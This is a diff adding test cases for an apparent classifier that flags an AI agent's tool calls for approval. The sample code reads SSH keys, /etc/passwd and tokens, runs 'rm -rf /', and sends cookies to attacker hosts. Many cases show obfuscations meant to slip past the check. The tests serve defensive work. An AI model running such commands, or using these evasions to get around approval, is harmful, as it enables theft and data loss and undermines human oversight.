+        ("from pathlib import Path\nPath('x').open('w')", True),  # Path.open mode
+        ("from pathlib import Path\nprint(Path('x').open().read())", False),
+        ("import zipfile\nprint(zipfile.ZipFile('a').open('n.txt'))", False),
+        ("print(open('../../.ssh/id_rsa').read())", True),  # traversal read
+        ("print(open('creds.env').read())", True),  # credential file
+        ("import os\nos.open('data.txt', os.O_CREAT)", True),  # os.open writes fd
+        ("import tempfile\ntempfile.mkstemp()", True),  # tempfile side effects
+        ("getattr(os, 'remove')('x')", True),  # dynamic call target
+        ("import os as o\no.open('out.txt', o.O_CREAT)", True),  # os.open via alias
+        ("from os import open as o, O_CREAT\no('out', O_CREAT)", True),  # os.open bare name
+        ("from pathlib import Path\nPath('l').symlink_to('t')", True),  # pathlib link
+        ("import importlib\nimportlib.import_module('subprocess')", True),  # dynamic import
+        ("import os\nos.mkfifo('p')", True),  # node creation
+        ("import os\nos.utime('x', None)", True),  # metadata mutation
+        ("f = open\nf('x', 'w')", True),  # builtin open aliased to a name
+        ("from builtins import open as w\nw('x', 'w')", True),
+        ("globals()['open']('x', 'w')", True),  # dynamic open lookup
+        ("import pickle\npickle.loads(b'')", True),  # code exec on load
+        ("import io\nio.FileIO('out', 'w')", True),  # raw write handle
+        (
+            "import zipfile\nprint(zipfile.ZipFile('a').open('n.txt', 'r'))",
+            False,
+        ),  # explicit read mode
+        ("f, _ = (open, print)\nf('out', 'w')", True),  # destructured open alias
+        ("import builtins\nbuiltins.exec('x=1')", True),  # attribute exec
+        ("import builtins as b\nb.eval('1')", True),
+        ("import re\nre.compile('x')", False),  # re.compile is not eval/exec
+        ("import os\nopen(os.path.join('/etc', 'passwd')).read()", True),  # composed path
+        ("open('/etc' + '/passwd').read()", True),  # concatenated path
+        ("import zipfile\nzipfile.ZipFile('o.zip', 'w').writestr('x', 'y')", True),  # zip write
+        ("import zipfile\nzipfile.ZipFile('o.zip', mode='a')", True),
+        ("import zipfile\nzipfile.ZipFile('a.zip').read('n')", False),  # zip read stays safe
+        ("import os\nopen(f'/proc/{os.getppid()}/environ').read()", True),  # f-string procfs
+        ("import os\nos.chdir('/')\nprint(open('etc/passwd').read())", True),  # chdir escape
+        (
+            "from pathlib import Path\nprint((Path('/etc') / 'passwd').read_text())",
+            True,
+        ),  # pathlib /
+        (
+            "from pathlib import Path\nprint((Path('a') / 'b.txt').read_text())",
+            False,
+        ),  # relative stays safe
+        ("import runpy\nrunpy.run_path('s.py')", True),  # runpy runs code
+        ("from runpy import run_module\nrun_module('m')", True),
+        ("import os\nrm = getattr(os, 'remove')\nrm('f')", True),  # getattr alias call
+        ("x = getattr(obj, 'name')\nprint(x)", False),  # getattr result not called
+        ("__builtins__.exec('x=1')", True),  # __builtins__ dynamic exec
+        ("f = globals()['open']\nf('out', 'w')", True),  # subscript alias write
+        (
+            "f = __builtins__.__dict__.get('open')\nf('out', 'w').write('x')",
+            True,
+        ),  # namespace .get lookup returns open
+        ("g = globals().get('open')\ng('out', 'w')", True),  # globals().get alias
+        ("e = vars(__builtins__).get('eval')\ne('1')", True),  # vars().get returns eval
+        ("d = {}\nd.get('x')", False),  # ordinary dict .get stays safe
+        (
+            "import os\nos.environ.get('PATH')",
+            False,
+        ),  # os.environ.get is not a dynamic namespace
+        (
+            "box.f = open\nbox.f('out.txt', 'w').write('x')",
+            True,
+        ),  # open bound onto an attribute then called
+        ("box.f = len\nbox.f([])", False),  # a benign attribute-bound callable stays safe
+        (
+            "open.__call__('out.txt', 'w').write('x')",
+            True,
+        ),  # open invoked via .__call__ still writes
+        ("print.__call__('x')", False),  # a benign .__call__ stays safe
+        ("import builtins\nf = builtins.open\nf('out', 'w')", True),  # attribute alias write
+        ("open('out', **{'mode': 'w'}).write('x')", True),  # kwargs splat mode
+        ("name = 'passwd'\nopen(f'/etc/{name}').read()", True),  # dynamic /etc segment
+        ("import os\nopen(os.path.join('/etc', name)).read()", True),  # composed dynamic seg
+        ("open(f'/tmp/{name}.txt').read()", False),  # dynamic seg under /tmp stays safe
+        ("import pathlib\n(pathlib.Path('/etc') / name).read_text()", True),  # qualified pathlib
+        ("import pathlib\n(pathlib.Path('data') / name).read_text()", False),  # relative stays safe
+        ("f: object = open\nf('out', 'w').write('x')", True),  # annotated open alias
+        ("import urllib3\nurllib3.PoolManager().request('GET', 'http://x')", True),  # network
+        ("import dbm\ndbm.open('cache', 'c')", True),  # dbm create flag writes
+        ("import dbm\ndbm.open('cache')", True),  # dbm import itself signals writes
+        (
+            "import sqlite3\nsqlite3.connect('results.db').execute('create table t(x)')",
+            True,
+        ),  # sqlite3 db write
+        ("import sqlite3\nsqlite3.connect('data.db')", True),  # sqlite3 connect creates the file
+        ("import posix as p\np.open('out', 64)", True),  # posix.open via module alias
+        ("import os as o\nprint(o.getcwd())", False),  # read-only os-alias use stays safe
+        ("model.save_pretrained('out')", True),  # transformers/peft persistence helper
+        (
+            "from safetensors.torch import save_file\nsave_file(sd, 'o.safetensors')",
+            True,
+        ),  # bare imported save_file writer
+        ("st.save_file(sd, 'o.safetensors')", True),  # safetensors save_file method
+        ("print(model.state_dict())", False),  # non-persisting call stays safe
+        (
+            "from pathlib import Path\nopen(next(Path('/etc').glob('passw?'))).read()",
+            True,
+        ),  # pathlib glob receiver+pattern resolves to /etc/passwd
+        (
+            "from pathlib import Path\nfor p in Path('/etc').iterdir():\n    pass",
+            True,
+        ),  # enumerating an absolute system dir
+        ("import os\nos.scandir('/etc')", True),  # os.scandir over a sensitive root
+        ("import os\nos.listdir('/home')", True),  # os.listdir over a host dir
+        ("import os\nlist(os.walk('/'))", True),  # os.walk over the filesystem root
+        (
+            "from pathlib import Path\nlist(Path('.').iterdir())",
+            False,
+        ),  # relative dir enumeration stays safe
+        ("import os\nos.scandir('data')", False),  # relative scandir stays safe
+        ("import os\nos.listdir('subdir')", False),  # relative listdir stays safe
+        (
+            "from pathlib import Path\nfor f in Path('data').glob('*.py'):\n    print(f)",
+            False,
+        ),  # benign pathlib glob stays safe
+        (
+            "from pathlib import Path\nlist(Path('/home').glob('*'))",
+            True,
+        ),  # globbing an absolute root enumerates host filenames
+        (
+            "from pathlib import Path\nlist(Path('/etc').rglob('*'))",
+            True,
+        ),  # recursive glob over a system dir
+        ("import glob\nglob.glob('/home/*')", True),  # glob.glob pattern rooted absolute
+        (
+            "from pathlib import Path\nlist(Path('~').expanduser().glob('*'))",
+            True,
+        ),  # glob over the home directory
+        ("import glob\nglob.glob('src/*.py')", False),  # relative glob pattern stays safe
+        (
+            "import os\nbase = os.path.abspath('/etc')\nopen(base + '/passwd').read()",
+            True,
+        ),  # abspath keeps the sensitive root
+        (
+            "from pathlib import Path\n(Path('/etc').resolve() / 'passwd').read_text()",
+            True,
+        ),  # Path.resolve keeps the sensitive root
+        (
+            "import os\nbase = os.path.abspath('data')\nopen(base + '/x.txt').read()",
+            False,
+        ),  # benign normalizer stays safe
+        ("import torch\ntorch.load('model.pt')", True),  # pickle-backed loader
+        ("import joblib\njoblib.load('x.pkl')", True),  # joblib loader
+        ("import pandas as pd\npd.read_pickle('x.pkl')", True),  # pandas pickle reader
+        ("import json\nprint(json.load(open('x.json')))", False),  # json.load stays safe
+        (
+            "import types\nc = compile('x=1', '', 'exec')\nf = types.FunctionType(c, globals())\nf()",
+            True,
+        ),  # compiled code wrapped into a callable
+        ("cfg = d['k']\nprint(cfg)", False),  # subscript result not called stays safe
+        ("open('/etc/{}'.format('passwd')).read()", True),  # str.format sensitive path
+        ("open('/etc/{}'.format(name)).read()", True),  # format dynamic /etc segment
+        ("print('/tmp/{}'.format('a'))", False),  # format under /tmp stays safe
+        ("import numpy\nnumpy.save('x.npy', a)", True),  # numpy writer method
+        ("plt.savefig('f.png')", True),  # matplotlib writer method
+        ("df.to_csv('out.csv')", True),  # pandas writer method
+        ("img.save('o.png')", True),  # PIL writer method
+        ("import json\njson.dump(obj, f)", True),  # serialization writer
+        ("df.to_string()", False),  # non-persisting render stays safe
+        ("model.forward(x)", False),  # ordinary method call stays safe
+        ("open(''.join(['/etc', '/passwd'])).read()", True),  # str.join sensitive path
+        ("open('/'.join(['/etc', 'passwd'])).read()", True),  # separator join
+        ("print(''.join(['a', 'b']))", False),  # benign join stays safe
+        ("from builtins import eval as e\ne('1')", True),  # aliased builtin eval
+        ("import builtins\nx = builtins.exec\nx('a=1')", True),  # attr-aliased exec
+        ("from builtins import __import__ as imp\nimp('os')", True),  # aliased __import__
+        ("from mymod import evaluate as e\ne(1)", False),  # unrelated alias stays safe
+        ("base = '/etc'\nopen(base + '/passwd').read()", True),  # literal-var path
+        ("d = '/etc'\nopen(f'{d}/passwd').read()", True),  # literal var in f-string
+        ("base = 'data'\nopen(base + '/x.txt').read()", False),  # benign literal var
+        ("import numpy as np\nnp.array([1]).tofile('out.bin')", True),  # numpy tofile
+        ("arr.tolist()", False),  # non-persisting numpy call stays safe
+        (
+            "from pathlib import Path\np = Path('/etc')\n(p / 'passwd').read_text()",
+            True,
+        ),  # pathlib path alias reused
+        (
+            "from pathlib import Path\np = Path('data')\n(p / 'x.txt').read_text()",
+            False,
+        ),  # relative path alias stays safe
+        ("open('%s/%s' % ('/etc', 'passwd')).read()", True),  # percent-format path
+        ("open('/etc/%s' % name).read()", True),  # percent-format dynamic segment
+        ("open('%s/%s' % ('data', 'x.txt')).read()", False),  # benign percent-format
+        ("open('/etc/%(f)s' % {'f': 'passwd'}).read()", True),  # mapping-style percent path
+        ("open('/etc/%(f)s' % {'f': name}).read()", True),  # mapping-style dynamic segment
+        ("open('/etc/%(f)s' % mapping).read()", True),  # non-literal mapping fails closed
+        ("open('data/%(f)s' % {'f': 'x.txt'}).read()", False),  # benign mapping-style stays safe
+        ("import logging\nlogging.FileHandler('out.log', mode='w')", True),  # log file writer
+        ("import logging\nlogging.FileHandler('out.log')", True),  # default append still writes
+        ("from logging import FileHandler\nFileHandler('x.log')", True),  # bare-name file handler
+        (
+            "import logging.handlers\nlogging.handlers.RotatingFileHandler('x.log')",
+            True,
+        ),  # rotating log file writer
+        ("import logging\nlogging.getLogger('x').info('hi')", False),  # logging read stays safe
+        ("from numpy import save\ns = save\ns('out.npy', arr)", True),  # writer aliased to a name
+        ("from zipfile import ZipFile\nz = ZipFile\nz('a.zip', 'w')", True),  # archive ctor aliased
+        ("from numpy import save\ns, _ = (save, 1)\ns('o.npy', a)", True),  # writer destructured
+        ("x = len\nx('hi')", False),  # a benign builtin alias stays safe
+        ("import asyncio\nasyncio.create_subprocess_shell('rm -rf /')", True),  # asyncio spawn
+        ("import asyncio\nasyncio.create_subprocess_exec('rm', '-rf', '/')", True),  # asyncio spawn
+        ("import asyncio\nasyncio.sleep(1)", False),  # benign asyncio helper stays safe
+        ("import imaplib\nimaplib.IMAP4('host')", True),  # stdlib mail client opens a connection
+        ("import poplib\npoplib.POP3('host')", True),  # stdlib mail client
+        ("import xmlrpc.client\nxmlrpc.client.ServerProxy('http://x')", True),  # rpc client
+        ("import math\nmath.sqrt(2)", False),  # benign stdlib import stays safe
+        ("def f(o=open):\n    o('out', 'w').write('x')\nf()", True),  # open captured in a default
+        ("g = lambda o=open: o('out', 'w')\ng()", True),  # open captured in a lambda default
+        ("def f(o=len):\n    return o('x')\nf()", False),  # a benign default stays safe
+        ("import numpy as np\ns = np.save\ns('out.npy', arr)", True),  # attribute writer aliased
+        ("from pathlib import Path\np = Path('out').open\np('w')", True),  # bound .open aliased
+        ("import zipfile\nz = zipfile.ZipFile\nz('a.zip', 'w')", True),  # attribute archive ctor
+        ("import numpy as np\nx = np.mean\nx(a)", False),  # a benign attribute alias stays safe
+        (
+            "import numpy as np\nnp.memmap('o', dtype='u1', mode='w+', shape=(1,))",
+            True,
+        ),  # memmap w+
+        (
+            "import pandas as pd\npd.ExcelWriter('o.xlsx')",
+            True,
+        ),  # pandas ExcelWriter creates a file
+        ("import pandas as pd\npd.HDFStore('o.h5')", True),  # pandas HDFStore creates a file
+        ("import asyncio\nasyncio.open_connection('h', 80)", True),  # asyncio outbound connection
+        (
+            "import asyncio\nl = asyncio.get_event_loop()\nl.create_server(P, 'h', 80)",
+            True,
+        ),  # listener
+        ("import asyncio\nasyncio.start_server(cb, 'h', 80)", True),  # asyncio listener
+        (
+            "import asyncio\nasyncio.open_unix_connection('/tmp/s')",
+            True,
+        ),  # asyncio unix connect
+        (
+            "import asyncio\nl = asyncio.get_event_loop()\nl.create_datagram_endpoint(f)",
+            True,
+        ),  # UDP socket
+        (
+            "import asyncio\nl = asyncio.get_event_loop()\nl.sock_connect(s, ('h', 80))",
+            True,
+        ),  # raw socket connect
+        ("import asyncio\nasyncio.sleep(1)", False),  # benign asyncio helper stays safe
+        ("import os\nos.setxattr('f', 'user.x', b'v')", True),  # xattr write
+        ("import os\nos.removexattr('f', 'user.x')", True),  # xattr remove
+        ("import gzip\ngzip.GzipFile('o.gz', 'w')", True),  # gzip writer
+        ("import bz2\nbz2.BZ2File('o.bz2', 'w')", True),  # bz2 writer
+        ("import lzma\nlzma.LZMAFile('o.xz', mode='w')", True),  # lzma writer (mode kw)
+        (
+            "from gzip import GzipFile\nGzipFile('o.gz', 'wb')",
+            True,
+        ),  # bare-imported gzip writer
+        ("import gzip\ngzip.GzipFile('o.gz', 'r')", False),  # gzip read stays safe
+        ("import gzip\ngzip.GzipFile('o.gz')", False),  # gzip default (read) stays safe
+        ("df.to_xml('out.xml')", True),  # pandas to_xml writer
+        ("df.to_html('report.html')", True),  # pandas to_html writer
+        ("df.to_markdown('out.md')", True),  # pandas to_markdown writer
+        ("df.to_latex('out.tex')", True),  # pandas to_latex writer
+        ("df.to_dict()", False),  # non-persisting pandas export stays safe
+        ("x = df.to_string()", False),  # to_string renders to memory, stays safe
+        (
+            "import websockets\nwebsockets.connect('ws://h')",
+            True,
+        ),  # websockets outbound connection
+        (
+            "import asyncio\nasyncio.start_unix_server(cb, '/tmp/sock')",
+            True,
+        ),  # asyncio unix listener
+        ("import os\nos.startfile('calc.exe')", True),  # Windows startfile launches a program
+        (
+            "import socketserver\nsocketserver.TCPServer(('0.0.0.0', 80), H)",
+            True,
+        ),  # stdlib server binds a listener
+        (
+            "from gzip import open as gopen\ngopen('o.gz', 'w')",
+            True,
+        ),  # gzip open alias, write mode
+        (
+            "from gzip import open as gopen\ngopen('o.gz', 'rt')",
+            False,
+        ),  # gzip open alias, read stays safe
+        (
+            "open(chr(47) + 'etc/passwd').read()",
+            True,
+        ),  # dynamic '/' prefix forms /etc/passwd
+        (
+            "import os\nopen(os.sep + 'etc/passwd').read()",
+            True,
+        ),  # os.sep prefix forms /etc/passwd
+        (
+            "base = get_dir()\nopen(base + 'data/file.txt').read()",
+            False,
+        ),  # dynamic prefix + benign suffix stays safe
+        (
+            "import logging\nlogging.basicConfig(filename='o.log', filemode='w')",
+            True,
+        ),  # basicConfig opens a log file for write
+        (
+            "from logging import basicConfig\nbasicConfig(filename='o.log')",
+            True,
+        ),  # bare-imported basicConfig write
+        (
+            "import logging\nlogging.basicConfig(level=logging.INFO)",
+            False,
+        ),  # basicConfig without filename stays safe
+        (
+            "from operator import methodcaller\nw = methodcaller('write_text', 'x')\nw(Path('f'))",
+            True,
+        ),  # methodcaller hides a writer method
+        (
+            "import operator\nw = operator.methodcaller('unlink')\nw(Path('f'))",
+            True,
+        ),  # operator.methodcaller unlink
+        (
+            "from operator import methodcaller\nu = methodcaller('upper')\nu('x')",
+            False,
+        ),  # methodcaller of a read-only method stays safe
+        (
+            "import fileinput\nfor line in fileinput.input('v.txt', inplace=True):\n    pass",
+            True,
+        ),  # fileinput in-place rewrite
+        (
+            "import fileinput\nfor line in fileinput.input('v.txt'):\n    pass",
+            False,
+        ),  # fileinput read stays safe
+        (
+            "import pathlib\nP = pathlib.Path\n(P('/etc') / 'passwd').read_text()",
+            True,
+        ),  # qualified path-ctor alias (P = pathlib.Path)
+        (
+            "import pathlib\nP = pathlib.Path\n(P('/tmp') / 'x').read_text()",
+            False,
+        ),  # benign qualified path-ctor alias stays safe
+        (
+            "import numpy as np\ndef f(s=np.save):\n    s('o.npy', a)\nf()",
+            True,
+        ),  # attribute writer captured as a default arg
+        (
+            "from functools import partial\ndef f(w=partial(open, mode='w')):\n    w('o')\nf()",
+            True,
+        ),  # partial(open) captured as a default arg
+        (
+            "import numpy as np\ndef f(s=np.mean):\n    s(a)\nf()",
+            False,
+        ),  # benign attribute default stays safe
+        (
+            "open('/et' + chr(99) + '/passwd').read()",
+            True,
+        ),  # dynamic char splitting a sensitive name
+        (
+            "open(a + '/' + b).read()",
+            False,
+        ),  # segment-spanning dynamic path stays safe
+        ("list(map(open, ['o.txt'], ['w']))", True),  # open handed to map()
+        (
+            "import numpy as np\nlist(map(np.save, ['o.npy'], [arr]))",
+            True,
+        ),  # writer handed to map()
+        ("list(map(len, ['abc']))", False),  # benign map() stays safe
+        (
+            "import itertools\nlist(itertools.starmap(open, [('out', 'w')]))",
+            True,
+        ),  # qualified higher-order invoker (itertools.starmap)
+        (
+            "import functools\nfunctools.reduce(open, xs)",
+            True,
+        ),  # qualified functools.reduce with a writer
+        (
+            "import itertools\nlist(itertools.starmap(len, xs))",
+            False,
+        ),  # benign qualified invoker stays safe
+        (
+            "import itertools\nlist(itertools.chain(xs, ys))",
+            False,
+        ),  # non-invoker itertools helper stays safe
+        (
+            "m = map\nlist(m(open, ['o.txt'], ['w']))",
+            True,
+        ),  # aliased invoker (m = map) handed open()
+        (
+            "from itertools import starmap as sm\nlist(sm(open, [('out', 'w')]))",
+            True,
+        ),  # imported-as invoker alias handed open()
+        (
+            "f = filter\nlist(f(open, ['a']))",
+            True,
+        ),  # aliased filter() handed open()
+        (
+            "m = map\nlist(m(str, [1, 2]))",
+            False,
+        ),  # aliased invoker with a benign callable stays safe
+        ("spec.loader.exec_module(module)", True),  # runs a module's code
+        ("spec.loader.get_data('x')", False),  # loader read stays safe
+        (
+            "import zipfile\nzipfile.ZipFile('a.zip').extractall('out')",
+            True,
+        ),  # extractall writes arbitrary files
+        (
+            "import zipfile\nzipfile.ZipFile('a.zip').extract('member', 'out')",
+            True,
+        ),  # single-member extract still writes to disk (zip-slip)
+        (
+            "import tarfile\ntarfile.open('a.tar').extract('m', 'out')",
+            True,
+        ),  # tarfile single-member extract writes to disk
+        (
+            "import zipfile\nzipfile.ZipFile('a.zip').read('n')",
+            False,
+        ),  # archive in-memory read stays safe
+        (
+            "import zipfile\nzipfile.ZipFile('a.zip').namelist()",
+            False,
+        ),  # archive read stays safe
+        ("import ensurepip\nensurepip.bootstrap()", True),  # installs pip
+        ("import venv\nvenv.create('env')", True),  # builds an environment
+        ("import pydoc\npydoc.writedoc('math')", True),  # writes name.html
+        (
+            "print(open('/home/alice/.cache/huggingface/token').read())",
+            True,
+        ),  # reads the Hugging Face login token
+        (
+            "open('/home/alice/.cache/huggingface/hub/models--x/config.json').read()",
+            False,
+        ),  # HF model cache is not a credential
+        ("import numpy as np\nnp.mean([1, 2])", False),  # a benign numpy read stays safe
+        (
+            "from pathlib import Path\nP = Path\n(P('/etc') / 'passwd').read_text()",
+            True,
+        ),  # Path aliased
+        (
+            "import os\nj = os.path.join\nopen(j('/etc', 'passwd')).read()",
+            True,
+        ),  # os.path.join aliased
+        (
+            "from pathlib import Path\nP = Path\n(P('/tmp') / 'x').read_text()",
+            False,
+        ),  # benign alias
+        (
+            "from pathlib import Path\nPath('/etc').joinpath('passwd').read_text()",
+            True,
+        ),  # pathlib joinpath
+        (
+            "from pathlib import Path\nPath('data').joinpath('x.txt').read_text()",
+            False,
+        ),  # relative joinpath stays safe
+        (
+            "from pathlib import Path\nPath('/etc/anything').with_name('passwd').read_text()",
+            True,
+        ),  # with_name rewrites the final segment to a secret
+        (
+            "from pathlib import Path\nPath('/etc/x').with_stem('passwd').read_text()",
+            True,
+        ),  # with_stem rewrites the stem to a secret
+        (
+            "from pathlib import Path\nPath('/etc/passwd.bak').with_suffix('').read_text()",
+            True,
+        ),  # with_suffix drops the suffix onto a secret
+        (
+            "from pathlib import Path\nPath('/tmp/a').with_name('b.txt').read_text()",
+            False,
+        ),  # benign with_name in the sandbox stays safe
+        (
+            "from pathlib import Path\nPath('report.txt').with_suffix('.md').read_text()",
+            False,
+        ),  # benign with_suffix stays safe
+        ("base, leaf = ('/etc', 'passwd')\nopen(base + '/' + leaf).read()", True),
+        # destructured string literals fold into the sensitive path
+        ("d, f = ('/etc', 'passwd')\nopen('/'.join([d, f])).read()", True),
+        # destructured literals reused through str.join
+        ("base, leaf = ('/tmp', 'x')\nopen(base + '/' + leaf).read()", False),
+        # benign destructured literals stay safe
+        ("open(b'/etc/passwd').read()", True),  # bytes path literal
+        ("open(b'data.txt').read()", False),  # benign bytes literal stays safe
+        (
+            "from pathlib import Path\n(Path.cwd().parent / 'other' / 'notes').read_text()",
+            True,
+        ),  # pathlib parent escapes the sandbox
+        (
+            "from pathlib import Path\n(Path('data') / 'notes').read_text()",
+            False,
+        ),  # in-sandbox pathlib read stays safe
+        ("import glob\nopen(glob.glob('/e??/passwd')[0]).read()", True),  # python glob to secret
+        ("import glob\nfor f in glob.glob('*.py'):\n    print(f)", False),  # benign glob stays safe
+        (
+            "import glob\nbase = '/e??'\nopen(glob.glob(base + '/passwd')[0]).read()",
+            True,
+        ),  # glob pattern folded from a literal variable
+        ("from os.path import join\nopen(join('/etc', 'passwd')).read()", True),  # bare join alias
+        ("from os.path import join\nopen(join('data', 'x.txt')).read()", False),  # benign bare join
+        ("from numpy import save\nsave('out.npy', arr)", True),  # writer imported as a bare name
+        ("from numpy import mean\nmean(arr)", False),  # benign bare import stays safe
+        (
+            "from pathlib import Path as P\n(P('/etc') / 'passwd').read_text()",
+            True,
+        ),  # aliased pathlib constructor
+        (
+            "from pathlib import Path as P\n(P('data') / 'x').read_text()",
+            False,
+        ),  # aliased ctor with a relative path stays safe
+        (
+            "from pathlib import PosixPath\n(PosixPath('/etc') / 'passwd').read_text()",
+            True,
+        ),  # concrete PosixPath constructor is folded too
+        (
+            "import pathlib\n(pathlib.PosixPath('/etc') / 'passwd').read_text()",
+            True,
+        ),  # qualified concrete constructor
+        (
+            "from pathlib import WindowsPath as W\n(W('/etc') / 'passwd').read_text()",
+            True,
+        ),  # aliased concrete Windows constructor
+        (
+            "from pathlib import PosixPath\n(PosixPath('data') / 'x').read_text()",
+            False,
+        ),  # concrete ctor with a relative path stays safe
+        (
+            "base = '/etc'\nopen(base + '/passwd').read()\nbase = 'data'",
+            True,
+        ),  # a later reassignment must not mask the earlier sensitive read
+        (
+            "base = 'data'\nopen(base + '/x').read()\nbase = '/etc'",
+            True,
+        ),  # any reassignment of a path var fails closed
+        (
+            "base = 'data'\nopen(base + '/x').read()",
+            False,
+        ),  # a single benign literal path var stays safe
+        (
+            "from zipfile import ZipFile\nZipFile('out.zip', 'w')",
+            True,
+        ),  # bare archive constructor with write mode
+        (
+            "from tarfile import TarFile as T\nT('a.tar', 'w')",
+            True,
+        ),  # aliased bare archive constructor
+        (
+            "from zipfile import ZipFile\nZipFile('in.zip')",
+            False,
+        ),  # bare archive constructor reading stays safe
+        (
+            "import os\ng = getattr\nrm = g(os, 'remove')\nrm('file')",
+            True,
+        ),  # dynamic lookup aliased through a getattr alias
+        (
+            "import os\ng = getattr\nn = g(os, 'name')\nprint(n)",
+            False,
+        ),  # resolving (not calling) through a getattr alias stays safe
+        (
+            "from functools import partial\nw = partial(open, mode='w')\nw('out.txt')",
+            True,
+        ),  # partial wrapping open hides the write mode
+        (
+            "import os\nfrom functools import partial\nw = partial(os.remove)\nw('f')",
+            True,
+        ),  # partial wrapping a mutating callable
+        (
+            "from functools import partial\np = partial(print, end='')\np('hi')",
+            False,
+        ),  # partial wrapping a safe callable stays safe
+        (
+            "open(*('result.txt', 'w')).write('x')",
+            True,
+        ),  # *args splat can hide the write mode
+        ("open(*args).write('x')", True),  # dynamic *args splat fails closed
+        ("__builtins__.__import__('subprocess')", True),  # __builtins__ dynamic import
+        (
+            "import builtins\nbuiltins.__import__('os')",
+            True,
+        ),  # builtins.__import__ dynamic import
+        (
+            "import builtins\nbuiltins.print(builtins.len([1]))",
+            False,
+        ),  # benign builtins.print/len stay safe
+        (
+            "import os\nopen(f'/proc/{os.getppid()}/fd/3').read()",
+            True,
+        ),  # f-string procfs fd symlink read
+        # huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
+        # files over the network (and write an on-disk cache), so they ask.
+        (
+            "import huggingface_hub\nhuggingface_hub.hf_hub_download('r', 'f')",
+            True,
+        ),  # hub file download over the network
+        (
+            "from huggingface_hub import hf_hub_download\nhf_hub_download('r', 'f')",
+            True,
+        ),  # bare-imported hub file download
+        (
+            "from huggingface_hub import snapshot_download\nsnapshot_download('r')",
+            True,
+        ),  # bare-imported repo snapshot download
+        ("import statistics\nstatistics.mean([1, 2])", False),  # benign stdlib import stays safe
+        # A concrete write callable handed to a user-defined helper that can
+        # invoke it bypasses the direct open()/writer site, so it asks.
+        (
+            "def run(fn): fn('out.txt', 'w').write('x')\nrun(open)",
+            True,
+        ),  # open passed into a helper that calls it
+        (
+            "from numpy import save\ndef h(fn): fn('o.npy', a)\nh(save)",
+            True,
+        ),  # writer alias passed into a helper
+        (
+            "import numpy as np\ndef run(fn): fn('o.npy', a)\nrun(np.save)",
+            True,
+        ),  # attribute writer passed into a helper
+        ("def run(fn): return fn('x')\nrun(len)", False),  # benign callable arg stays safe
+    ],
+)
+def test_python_classifier(code, unsafe):
+    assert is_potentially_unsafe_tool_call("python", {"code": code}) is unsafe
+
+
+def test_builtin_readonly_tools_are_safe():
+    assert is_potentially_unsafe_tool_call("web_search", {"query": "hi"}) is False
+    assert is_potentially_unsafe_tool_call("search_knowledge_base", {}) is False
+    assert is_potentially_unsafe_tool_call("render_html", {}) is False
+
+
+def test_render_html_gated_only_when_networked():
+    # A static canvas auto-runs; one whose HTML/JS reaches the network asks.
+    def rh(code):
+        return is_potentially_unsafe_tool_call("render_html", {"code": code})
+
+    assert rh("<h1>Report</h1><p>Summary</p>") is False
+    assert (
+        rh("<div id=c></div><script>document.getElementById('c').textContent='x'</script>") is False
+    )
+    assert rh("<svg xmlns='http://www.w3.org/2000/svg'><circle r=4/></svg>") is False
+    assert rh("<img src='./local.png'>") is False
+    assert rh("<img src=x onerror='fetch(1)'>") is True
+    assert rh("<script>new WebSocket('wss://x')</script>") is True
+    assert rh("<script src='https://cdn/x.js'></script>") is True
+    assert rh("<script>new XMLHttpRequest().open('GET','/x')</script>") is True
+    assert rh("<img src='https://evil/pixel.png'>") is True
+    # Worker / SharedWorker constructors run an off-thread script the scan cannot
+    # see (a module worker from a CORS CDN, or a blob/same-origin worker that
+    # fetches/importScripts) under worker-src http: https: blob:, so they ask.
+    assert rh("<script>new Worker('https://evil/w.js')</script>") is True
+    assert rh("<script>new Worker('https://cdn/x.mjs', {type: 'module'})</script>") is True
+    assert rh("<script>new SharedWorker('https://evil/w.js')</script>") is True
+    assert rh("<script>var myWorker = 1; console.log(myWorker)</script>") is False  # not a ctor
+    assert rh("<script>new WorkerPool(4)</script>") is False  # unrelated class, not a real Worker
+    # Resource-loading forms beyond a direct fetch also reach the network.
+    assert rh("<style>body{background:url(https://evil/x.png)}</style>") is True
+    assert rh("<style>@import 'https://evil/x.css'</style>") is True
+    assert rh("<img srcset='https://evil/x.png 1x'>") is True
+    assert rh("<img src='/api/leak?d=1'>") is True  # root-relative resolves to origin
+    assert rh("<link rel=stylesheet href='//cdn/x.css'>") is True  # protocol-relative
+    # Self-navigation sinks exfiltrate by navigating the frame away.
+    assert rh("<script>location.href='https://x/?d='+document.cookie</script>") is True
+    assert rh("<script>location.assign('https://x')</script>") is True
+    assert rh("<script>location.replace('https://x')</script>") is True
+    assert rh("<script>window.open('https://x')</script>") is True
+    assert rh("<script>window.location='https://x'</script>") is True
+    assert rh("<script>location.reload()</script>") is False  # reload is not navigation
+    assert rh("<script>history.back()</script>") is False
+    # Obfuscated egress: a block comment splitting fetch(, or bracket access.
+    assert rh("<script>fetch/*x*/('https://example.com')</script>") is True
+    assert rh("<script>window['fetch']('https://example.com')</script>") is True
+    # A computed bracket key spliced from string fragments on a global host object.
+    assert rh("<script>window['fet'+'ch']('https://attacker.example')</script>") is True
+    assert rh("<script>self['open' + '']('https://x')</script>") is True
+    # A computed key on a plain object (not a global host) stays a static canvas.
+    assert rh("<script>var o={}; o['a'+'b']=1</script>") is False
+    assert rh("<script>/* just a note */ var x = 1</script>") is False  # comment only
+    # A meta-refresh with a url navigates the frame to an external origin.
+    assert rh('<meta http-equiv="refresh" content="0;url=https://example.com">') is True
+    assert rh("<meta http-equiv='refresh' content='0; url=https://x'>") is True
+    assert rh('<meta http-equiv="refresh" content="30">') is False  # self-reload, no url
+    assert rh('<meta charset="utf-8"><h1>Hi</h1>') is False  # ordinary meta stays safe
+
+
+def test_unknown_tools_fail_closed():
+    assert is_potentially_unsafe_tool_call("mystery_tool", {}) is True
+
+
+def test_is_always_safe_tool():
+    from core.inference.tools import is_always_safe_tool
+    for name in ("web_search", "search_knowledge_base"):
+        assert is_always_safe_tool(name) is True
+    # render_html is no longer unconditionally safe: a networked canvas can prompt,
+    # which cannot be judged before its arguments stream.
+    for name in ("python", "terminal", "mystery_tool", "mcp__srv__read", "render_html"):
+        assert is_always_safe_tool(name) is False
+
+
+@pytest.mark.parametrize(
+    ("tool", "unsafe"),
+    [
+        ("get_weather", False),
+        ("list_files", False),
+        ("search", False),
+        ("send_email", True),
+        ("create_issue", True),
+        ("delete_row", True),
+        ("get_or_create_issue", True),  # mutating verb overrides read prefix
+        ("read_and_delete_file", True),
+        ("find_and_update_row", True),
+        ("get_and_commit_changes", True),  # commit/save/archive are mutating
+        ("read_and_save_file", True),
